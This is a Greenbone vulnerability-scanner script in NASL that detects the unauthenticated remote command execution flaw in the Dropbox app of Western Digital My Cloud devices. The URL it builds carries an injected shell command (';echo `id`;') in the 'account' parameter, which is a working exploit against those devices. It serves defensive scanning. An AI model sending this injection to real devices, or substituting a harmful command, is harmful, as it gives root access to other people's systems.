Western Digital My Cloud Products Dropbox App RCE Vulnerability
🗓️ 26 Sep 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType
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# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE_PREFIX = "cpe:/o:wdc";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108246");
script_version("2025-06-25T05:41:02+0000");
script_tag(name:"last_modification", value:"2025-06-25 05:41:02 +0000 (Wed, 25 Jun 2025)");
script_tag(name:"creation_date", value:"2017-09-26 08:00:00 +0200 (Tue, 26 Sep 2017)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_name("Western Digital My Cloud Products Dropbox App RCE Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_wd_mycloud_consolidation.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("wd-mycloud/http/detected");
script_xref(name:"URL", value:"https://ssd-disclosure.com/ssd-advisory-remote-command-execution-in-western-digital-with-dropbox-app/");
script_xref(name:"URL", value:"https://community.wd.com/t/new-release-my-cloud-dropbox-2-00-8-22-17/214582");
script_tag(name:"summary", value:"The Dropbox App of Western Digital My Cloud products is prone to
an unauthenticated remote command execution (RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and check the response.");
script_tag(name:"impact", value:"Successful exploit allows an attacker to execute arbitrary
commands with root privileges in context of the affected application.");
script_tag(name:"solution", value:"Update the Dropbox App to version 2.00 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
if( ! infos = get_app_port_from_cpe_prefix( cpe:CPE_PREFIX, service:"www" ) )
exit( 0 );
CPE = infos["cpe"];
if( ! CPE || ( "my_cloud" >!< CPE && "wd_cloud" >!< CPE ) )
exit( 0 );
port = infos["port"];
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
url = dir + "/Dropbox/php/dropbox.php?cmd=getBlacklist&account=;echo%20`id`;";
req = http_get_req( port:port, url:url,
accept_header:"application/xml, text/xml, */*; q=0.01",
add_headers:make_array( "Content-Type", "application/x-www-form-urlencoded" ) );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( res =~ "^HTTP/1\.[01] 200" && res =~ "uid=[0-9]+.*gid=[0-9]+" ) {
uid = eregmatch( pattern:"(uid=[0-9]+.*gid=[0-9]+[^ ]+)", string:res );
report = 'By requesting the URL:\n\n';
report += http_report_vuln_url( port:port, url:url, url_only:TRUE );
report += '\n\nit was possible to execute the "id" command.';
report += '\n\nResult: ' + uid[1];
expert_info = 'Request:\n'+ req + 'Response:\n' + res;
security_message( port:port, data:report, expert_info:expert_info );
exit( 0 );
}
exit( 99 );
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